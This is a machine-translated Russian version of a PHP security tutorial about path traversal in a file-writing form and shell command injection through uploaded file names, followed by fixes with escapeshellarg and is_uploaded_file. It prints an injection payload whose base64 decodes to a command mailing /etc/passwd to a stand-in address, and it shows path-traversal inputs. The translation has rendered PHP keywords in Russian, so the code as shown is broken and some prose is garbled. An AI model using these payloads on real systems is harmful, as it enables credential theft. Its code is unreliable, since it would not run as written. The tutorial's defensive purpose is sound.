Важность обращения внимания на проблемы безопасности Видеть больше, чем все
Самый эффективный, но часто упускаемый из виду способ предотвратить злонамеренное повреждение ваших программ пользователями — это учитывать такую возможность при написании кода. Важно знать о возможных проблемах безопасности в вашем коде. Рассмотрим следующий пример функции, предназначенной для упрощения процесса написания больших текстовых файлов на PHP:
<?php
функция write_text($filename, $text="") {
статический $open_files = массив();
// Если имя файла пусто, закрываем все файлы
если ($имя_файла == NULL) {
foreach($open_files как $fr) {
fclose($fr);
}
вернуть истину;
}
$index = md5($имя_файла);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
if(!$open_files[$index]) возвращает false;
}
fputs($open_files[$index], $text);
вернуть истину;
}
?>
Эта функция принимает два параметра по умолчанию: имя файла и текст, который будет записан в файл.
Функция сначала проверит, открыт ли файл, и если да, то будет использован исходный дескриптор файла; В противном случае он будет создан сам собой. В обоих случаях текст записывается в файл.
Если имя файла, переданное в функцию, равно NULL, все открытые файлы будут закрыты. Пример использования приведен ниже.
Эта функция будет намного понятнее и читабельнее, если разработчик напишет несколько текстовых файлов в следующем формате.
Предположим, что эта функция существует в отдельном файле, содержащем код, вызывающий эту функцию.
Ниже приведена такая программа, назовем ее quotes.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>" метод="get">
Выберите характер цитаты:
<select name="quote" size="3">
<option value="funny">Юмористические цитаты</option>
<option value="politic">Политические цитаты</option>
<option value="love">Романтические цитаты</option>
</выбрать><br />
Цитата: <input type="text" name="quote_text" size="30" />
<input type="submit" value="Сохранить цитату" />
</форма>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
if (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>Цитата сохранена!</h2></center>";
} еще {
echo "<center><hr><h2>Ошибка написания цитаты</h2></center>";
}
write_text (NULL);
?>
Как видите, разработчик использовал функцию write_text() для создания системы, в которой пользователи могут отправлять свои любимые цитаты, которые будут храниться в текстовом файле.
К сожалению, разработчики, возможно, не подумали, что эта программа также позволяет злоумышленникам поставить под угрозу безопасность веб-сервера.
Возможно, прямо сейчас вы ломаете голову, задаваясь вопросом, как эта, казалось бы, невинная программа может представлять угрозу безопасности.
Если вы не можете этого сказать, рассмотрите следующий URL-адрес и помните, что эта программа называется quotes.php:
http://www.somewhere.com/fun/quotes.php?quote=различный_файл.dat"e_text=garbage+data
Когда это URL передается в Что произойдет при использовании веб-сервера?
Очевидно, что Quotes.php будет выполнен, но вместо записи цитаты в один из трех нужных нам файлов будет создан новый файл с именем Different_file.dat, содержащий строковые мусорные данные.
Очевидно, что это нежелательное поведение. Злоумышленник может получить доступ к файлу паролей UNIX и создать учетную запись, указав кавычку как ../../../etc/passwd (хотя для этого требуется, чтобы веб-сервер запускал программу от имени суперпользователя). . Если это так, то вам следует прекратить чтение и исправить это прямо сейчас).
Если /home/web/quotes/ доступен через браузер, возможно, самая серьезная проблема безопасности этой программы заключается в том, что она позволяет любому пользователю писать и запускать произвольные программы PHP. Это вызовет бесконечные неприятности.
Вот несколько решений. Если вам нужно записать в каталог всего несколько файлов, рассмотрите возможность использования связанного массива для хранения имен файлов. Если файл, введенный пользователем, существует в этом массиве, его можно безопасно записать. Другая идея — удалить все символы, кроме букв и цифр, чтобы не было разделителей каталогов. Другой способ — проверить расширение файла, чтобы убедиться, что файл не будет выполнен веб-сервером.
Принцип прост: как разработчик, вы должны думать больше, чем просто о том, что делает ваша программа, когда вы хотите, чтобы она запускалась.
Что произойдет, если в элемент формы попадут недопустимые данные? Может ли злонамеренный пользователь заставить вашу программу вести себя непреднамеренно? Что можно сделать, чтобы остановить эти атаки? Ваш веб-сервер и программа PHP защищены только при наличии самой слабой ссылки безопасности, поэтому важно убедиться, что эти потенциально опасные ссылки безопасны.
Распространенные ошибки, связанные с безопасностью. Вот некоторые основные моменты, краткий и неполный список ошибок кодирования и административных ошибок, которые могут поставить под угрозу безопасность
. 1. Доверяйте данным. Эта тема проходит через все мои обсуждения безопасности программ PHP. Никогда не следует доверять данным, поступающим извне. Независимо от того, исходят ли они из отправленной пользователем формы, файла в файловой системе или переменной среды, никакие данные не могут восприниматься просто как нечто само собой разумеющееся. Поэтому вводимые пользователем данные должны быть проверены и отформатированы для обеспечения безопасности.
Ошибка 2. Хранение конфиденциальных данных в веб-каталогах Любые конфиденциальные данные должны храниться в файлах отдельно от программ, которым необходимо использовать эти данные, и в каталоге, недоступном через браузер. Если необходимо использовать конфиденциальные данные, включите их в соответствующую программу PHP с помощью операторов include или require.
Ошибка 3. Несоблюдение рекомендуемых мер безопасности.
Руководство по PHP содержит полную главу, посвященную мерам безопасности при использовании и написании программ PHP. Руководство также (почти) четко объясняет на основе тематических исследований, когда возникают потенциальные угрозы безопасности и как их минимизировать. В другом примере злоумышленники полагаются на ошибки разработчиков и администраторов, чтобы получить необходимую им информацию о безопасности и получить системные разрешения. Примите во внимание эти предупреждения и примите соответствующие меры, чтобы снизить вероятность того, что злонамеренный пользователь причинит реальный ущерб вашей системе.
Выполнение системных вызовов в PHP Существует множество способов выполнения системных вызовов в PHP.
Например, system(), exec(), passthru(), popen() и оператор обратной кавычки (`) позволяют вам выполнять системные вызовы в вашей программе. Неправильное использование этих функций откроет возможность злонамеренным пользователям выполнять системные команды на вашем сервере. Как и при доступе к файлам, в подавляющем большинстве случаев уязвимости безопасности возникают из-за ненадежного внешнего ввода, приводящего к выполнению системных команд.
Пример программы, использующей системные вызовы. Рассмотрим программу, которая обрабатывает загрузку файлов по протоколу HTTP. Она использует программу zip для сжатия файла, а затем перемещает его в указанный каталог (по умолчанию — /usr/local/archives/). Код выглядит следующим образом:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = имя_каталога($_FILES['file']['tmp_name']) .
"/{$_FILES['файл']['имя']}.zip";
$filename = basename($cmp_name);
если (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$имя_файла;
переименовать ($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" метод="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
Файл для сжатия: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Хотя эта программа выглядит довольно простой и понятной, злоумышленник может использовать ее несколькими способами. Самая серьезная проблема безопасности возникает, когда мы выполняем команду сжатия (с помощью оператора `), что хорошо видно в следующей строке:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = имя_каталога($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
Заставьте программу выполнять произвольные команды оболочки. Хотя этот код выглядит вполне безопасным, он потенциально может позволить любому пользователю с разрешениями на загрузку файлов выполнять произвольные команды оболочки!
Если быть точным, эта уязвимость безопасности связана с присвоением переменной $cmp_name. Здесь мы хотим, чтобы сжатый файл имел то же имя, что и при загрузке с клиента (с расширением .zip). Мы использовали $_FILES['file']['name'] (который содержит имя файла, загруженного на клиенте).
В такой ситуации злоумышленники могут достичь своих целей, загрузив файл, содержащий символы, имеющие особое значение для базовой операционной системы. Например, что произойдет, если пользователь создаст пустой файл, как показано ниже? (из приглашения оболочки UNIX)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
система($код);';"
Эта команда создаст файл со следующим именем:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
система($код);';
Выглядит странно? Давайте взглянем на это «имя файла» и увидим, что оно очень похоже на команду, которая заставляет CLI-версию PHP выполнить следующий код:
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
система ($ код);
?>
Если вы из любопытства отобразите содержимое переменной $code, вы обнаружите, что она содержит [email protected] </etc/passwd. Если пользователь передает этот файл программе, а затем PHP выполняет системный вызов для сжатия файла, PHP фактически выполнит следующий оператор:
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
Удивительно, но приведенная выше команда состоит не из одного оператора, а из трех! Поскольку оболочка UNIX интерпретирует точку с запятой (;) как конец одной команды оболочки и начало другой команды, за исключением случаев, когда точка с запятой находится в кавычках, PHP system() фактически будет выполняться следующим образом:
[user@localhost]# / usr /bin/zip/tmp/
[пользователь@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
система($код);'
[user@localhost]# .zip /tmp/phpY4iatI
Как видите, эта, казалось бы, безобидная программа PHP внезапно превратилась в бэкдор, способный выполнять произвольные команды оболочки и другие программы PHP. Хотя этот пример будет работать только в системах, в пути которых есть CLI-версия PHP, существуют и другие способы добиться того же эффекта, используя этот метод.
Ключом
к борьбе с атаками системных вызовов
по-прежнему является то, что вводу пользователя, независимо от его содержания, нельзя доверять!Остается вопрос, как избежать подобных ситуаций при использовании системных вызовов (кроме того, как не использовать их вообще). Для борьбы с этим типом атаки PHP предоставляет две функции: escapeshellarg() и escapeshellcmd().
Функция escapeshellarg() предназначена для удаления потенциально опасных символов из пользовательского ввода, используемых в качестве аргументов системных команд (в нашем случае — команды zip). Синтаксис этой функции следующий:
escapeshellarg($string)
$string — это входные данные, используемые для фильтрации, а возвращаемое значение — это отфильтрованные символы. При выполнении эта функция добавит одинарные кавычки вокруг символов и экранирует (предшествует) одинарные кавычки в исходной строке. Если в нашей программе мы добавим эти строки перед выполнением системной команды:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
Мы можем избежать таких рисков безопасности, гарантируя, что параметр, переданный системному вызову, был обработан и является вводом пользователя без каких-либо других намерений.
escapeshellcmd() аналогичен escapeshellarg(), за исключением того, что он экранирует только символы, имеющие особое значение для базовой операционной системы. В отличие от escapeshellarg(), escapeshellcmd() не обрабатывает пробелы в содержимом. Например, при экранировании с помощью escapeshellcmd() символы
$string = "'привет, мир!';evilcommand"
Станет:
'привет, мир';evilcommand
Если эта строка используется в качестве аргумента системного вызова, она все равно не даст правильных результатов, поскольку оболочка интерпретирует ее как два отдельных аргумента: «hello и world»;evilcommand. Если пользователь вводит часть списка аргументов для системного вызова, лучшим выбором будет escapeshellarg().
Защита загруженных файлов В этой статье я сосредоточился исключительно на том, как злонамеренные пользователи могут перехватить системные вызовы и привести к нежелательным результатам.
Однако здесь стоит упомянуть еще одну потенциальную угрозу безопасности. Снова взглянув на нашу процедуру, обратите внимание на следующую строку:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = имя_каталога($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
если (file_exists($tmp_name)) {
Потенциальная угроза безопасности, вызванная строками кода в приведенном выше фрагменте, заключается в том, что в последней строке мы определяем, существует ли загруженный файл на самом деле (он существует под временным именем файла $tmp_name).
Эта угроза безопасности исходит не от самого PHP, а от того факта, что имя файла, хранящееся в $tmp_name, на самом деле вообще не является файлом, а указывает на файл, к которому хочет получить доступ злонамеренный пользователь, например /etc/passwd.
Чтобы этого не произошло, PHP предоставляет функцию is_uploaded_file(), которая аналогична file_exists(), но она также обеспечивает проверку того, действительно ли файл загружен с клиента.
В большинстве случаев вам потребуется переместить загруженный файл. PHP предоставляет функцию move_uploaded_file() для работы с is_uploaded_file(). Эта функция используется для перемещения файлов, например rename(), за исключением того, что перед выполнением она автоматически проверяет, является ли перемещенный файл загруженным файлом. Синтаксис move_uploaded_file() следующий:
move_uploaded_file($filename, $destination);
При выполнении функция переместит загруженный файл $filename в пункт назначения $destination и вернет логическое значение, указывающее, была ли операция успешной.
Примечание. Джон Коггешолл — консультант и автор PHP. Прошло около 5 лет с тех пор, как он начал заниматься PHP.
Оригинальный текст на английском языке: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html.